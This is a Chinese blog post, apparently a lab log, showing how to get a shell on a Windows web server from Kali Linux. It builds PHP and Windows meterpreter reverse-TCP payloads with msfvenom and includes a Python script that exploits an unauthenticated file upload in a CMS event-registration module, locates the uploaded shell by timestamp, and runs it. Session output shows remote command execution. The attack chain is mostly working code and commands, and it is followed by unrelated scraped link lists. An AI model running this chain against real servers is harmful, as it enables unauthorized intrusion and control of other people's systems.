一 情景

本地kali linux 192.168.1.2

目标 windows NT 服务器192.168.1.4

目的是获取shell

二 过程

首先在linux建立终端

,msfconsole

建立php的payload,shell.php

root@simpleedu:~# rz

root@simpleedu:~# msfconsole

msf > msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
[*] exec: msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 30092 bytes

通过脚本上传到服务器。这里python脚本在本地windows编写然后通过xshell rz 传到kali。   pxy同学提供

import requests
base_url='http://192.168.1.4/'
url_for_time='index.php?module=eventregistration&action=eventsCalendar'
url_for_upload='index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1' files={'attach':open('shell.php','rb')} requests.post(base_url+url_for_upload,files=files) print 'upload finish' r=requests.get(base_url+url_for_time)
html1=r.content
#print html1
index=r.content.find('History.pushState')
if index:
time=html1[index:index+60].split('rel')[1].split('\'')[1]
else:
print 'something wrong'
exit(0)
print "get time:"+ time for i in range(int(time),int(time)-20,-1):
shell_url=base_url+'tmp/'+str(i)+'_shell.php'
r2=requests.get(shell_url)
if r2.status_code==200:
print "shell is here : "+shell_url

然后在msfconsole中use multi/handle 开启监听 use php/meterpreter/reverse-tcp, set LHOST set LPORT exploit

msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.1.2:4444

访问页面

然后看本地的终端已经建立了session

sessions查看已有session,sessions -i 1使用第一个session

利用该php的session可以做一些基础的操作比如pwd。。

但是不能使用windows的shell,这也是为什么接下来要做windows的payload

msf exploit(handler) > [*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.4:49203) at 2020-02-27 01:02:27 -0500

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1... meterpreter > ls
Listing: C:\phpStudy\WWW\tmp
============================ Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 30092 fil 2020-02-26 16:59:10 -0500 1582754354_shell.php
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 cache
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 css
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 elfinder
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 extensionuploads
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 img_cache
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 minify
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 pixidou
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 rsscache
40777/rwxrwxrwx 32768 dir 2018-01-10 13:44:24 -0500 views_c

然后新建终端,msfconsole,新建windows payload,shell.exe。注意端口要和php的不重复

msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f exe -o shell.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f exe -o shell.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

然后用刚刚php的session upload 到服务器,

meterpreter > ls
Listing: C:\phpStudy\WWW\tmp
============================ Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 30092 fil 2020-02-26 16:59:10 -0500 1582754354_shell.php
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 cache
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 css
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 elfinder
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 extensionuploads
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 img_cache
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 minify
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 pixidou
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 rsscache
40777/rwxrwxrwx 32768 dir 2018-01-10 13:44:24 -0500 views_c meterpreter > upload shell.exe
[*] uploading : shell.exe -> shell.exe
[*] uploaded : shell.exe -> shell.exe
meterpreter > ls
Listing: C:\phpStudy\WWW\tmp
============================ Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 30092 fil 2020-02-26 16:59:10 -0500 1582754354_shell.php
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 cache
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 css
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 elfinder
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 extensionuploads
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 img_cache
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 minify
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 pixidou
40777/rwxrwxrwx 0 dir 2018-01-10 13:44:24 -0500 rsscache
100777/rwxrwxrwx 73802 fil 2020-02-26 17:02:33 -0500 shell.exe
40777/rwxrwxrwx 32768 dir 2018-01-10 13:44:24 -0500 views_c

此时在新建的终端use multi/handle 开启监听  use windows/meterpreter/reverse-tcp,set LHOST set LPORT  exploit

root@simpleedu:~# msfconsole

 _                                                    _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\ =[ metasploit v4.16.15-dev ]
+ -- --=[ 1699 exploits - 968 auxiliary - 299 post ]
+ -- --=[ 503 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.1.2:443

然后用php的session执行刚刚的windows的payload  execute -f shell.exe

meterpreter > execute shell.exe
[-] You must specify an executable file with -f
meterpreter > execute shell.exe -f
[-] You must specify an executable file with -f
meterpreter > execute -f shell.exe
Process 2640 created.

此时看新终端,检测到了session

然后类似于上面的php的操作步骤,可以使用这个session

同时可以使用 windows的 shell

msf exploit(handler) > [*] Sending stage (179267 bytes) to 192.168.1.4
[*] Meterpreter session 1 opened (192.168.1.2:443 -> 192.168.1.4:49204) at 2020-02-27 01:05:06 -0500 msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1... meterpreter > shell
Process 640 created.
Channel 1 created.
Microsoft Windows [°汾 6.3.9600]
(c) 2013 Microsoft Corporation¡£±£´̹ԐȨ{¡£ C:\phpStudy\WWW\tmp>cd C:
cd C:
C:\phpStudy\WWW\tmp C:\phpStudy\WWW\tmp>cd^H^H^H
' ²»ˇŚ²¿»

meterpreter php payload && windows payload 学习的更多相关文章

  1. 最全的Windows Azure学习教程汇总

    Windows Azure 是微软基于云计算的操作系统,能够为开发者提供一个平台,帮助开发可运行在云服务器.数据中心.Web 和 PC 上的应用程序. Azure 是一种灵活和支持互操作的平台,能够将 ...

  2. Bash On Windows的学习

    Bash On Windows的学习 Bash On Windows的卸载 删除软件和设置:在 cmd 运行lxrun /uninstall 删除所有文件:在cmd中运行lxrun /uninstal ...

  3. 【记录一次windows技术学习】使用笔记本DOS命令搭建WLAN热点

    [记录一次windows技术学习]使用笔记本DOS命令搭建WLAN热点 时间:2017-10-14 22:36:13 撰写者:AK末影人 [转发请注明出处] --------------------- ...

  4. meterpreter > run post/windows/capture/keylog_recorder

    meterpreter > migrate 1548[*] Migrating to 1548...[*] Migration completed successfully.meterprete ...

  5. Windows API 学习

    Windows API学习 以下都是我个人一些理解,笔者不太了解windows开发,如有错误请告知,非常感谢,一切以microsoft官方文档为准. https://docs.microsoft.co ...

  6. windows进程/线程创建过程 --- windows操作系统学习

    有了之前的对进程和线程对象的学习的铺垫后,我们现在可以开始学习windows下的进程创建过程了,我将尝试着从源代码的层次来分析在windows下创建一个进程都要涉及到哪些步骤,都要涉及到哪些数据结构. ...

  7. Windows Security 学习笔记

    对于Windows 在 Security 方面的学习. 纯兴趣. UNIX 的另外开一条路线学习. 话说今天查gpedit.msc的资料的时候发现 M$ 官网上怎么连个文档都没有. 后来才点了 gpe ...

  8. Windows API学习---线程与内核对象的同步

    前言 若干种内核对象,包括进程,线程和作业.可以将所有这些内核对象用于同步目的.对于线程同步来说,这些内核对象中的每种对象都可以说是处于已通知或未通知的状态之中.这种状态的切换是由Microsoft为 ...

  9. Windows API学习---用户方式中的线程同步

    前言 当所有的线程在互相之间不需要进行通信的情况下就能够顺利地运行时, Micrsoft Windows的运行性能最好.但是,线程很少能够在所有的时间都独立地进行操作.通常情况下,要生成一些线程来处理 ...

随机推荐

  1. UVM基础总结——基于《UVM实战》示例

    一.前言 工作一直在做SoC验证,更关注模块间的连接性和匹配性,所以相比于擅长随机约束激励的UVM来说,定向测试的概念更容易debug.当然前提是IP已经被充分验证.因此觉得接触UVM的机会较少.到现 ...

  2. APM调用链产品对比

    APM调用链产品对比 随着企业经营规模的扩大,以及对内快速诊断效率和对外SLA(服务品质协议,service-level agreement)的追求,对于业务系统的掌控度的要求越来越高,主要体现在: ...

  3. Swagger2配置与使用

    Swagger2配置与使用 Swagger2介绍 前后端分离开发模式中,api文档是最好的沟通方式. Swagger 是一个规范和完整的框架,用于生成.描述.调用和可视化 RESTful 风格的 We ...

  4. IDE 阅读代码时候如何防止误触

    在 JetBrains 系列的编辑器中,点击右下角小锁图标,就可以只读防止误修改. Visual Studio 下安装 CodeMaid 插件 http://www.codemaid.net/ htt ...

  5. 深入理解SPI机制-服务发现机制

    https://www.jianshu.com/p/3a3edbcd8f24 SPI ,全称为 Service Provider Interface,是一种服务发现机制.它通过在ClassPath路径 ...

  6. 【SVN】windows 下的SVN常见问题及其解决方法

    1.能提交和更新,但SVN查看log时提示:找不到路径 'svn/XXXX' 双击以清除错误信息 勾选这个选项就好了.因为该路径是通过重命名或者拷贝过来的,倘若不选中,SVN便会尝试同时从当前文件的拷 ...

  7. 作为一款内存数据库,为什么断电后Redis数据不会丢失

    前言 Redis 作为一款内存数据库,被广泛使用于缓存,分布式锁等场景,那么假如断电或者因其他因素导致 Reids 服务宕机,在重启之后数据会丢失吗? Redis 持久化机制 Redis 虽然是定义为 ...

  8. DDD领域驱动设计:领域事件

    1 前置阅读 在阅读本文章之前,你可以先阅读: DDD领域驱动设计是什么 DDD领域驱动设计:实体.值对象.聚合根 DDD领域驱动设计:仓储 MediatR一个优秀的.NET中介者框架 2 什么是领域 ...

  9. tricks - 思维

    编辑 目录 tricks 系列 随机的性质 bitmask 建图 最基本的 黑白染色 Kruskal重构树 并查集维护值域 带根号的数三元环 根号分治 调和级数哈希 多属性哈希 时光倒流 时光反复横跳 ...

  10. LOJ10145郁闷的出纳员

    传送门:https://loj.ac/problem/10145 简单的平衡树 ------------------------------------ 1 #include<bits/stdc ...